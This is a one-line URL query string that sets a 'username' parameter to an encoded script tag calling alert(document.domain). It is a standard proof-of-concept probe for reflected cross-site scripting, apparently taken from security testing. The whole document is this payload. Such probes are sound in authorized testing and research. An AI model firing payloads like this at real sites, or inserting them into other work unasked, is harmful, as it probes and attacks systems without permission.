?username=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E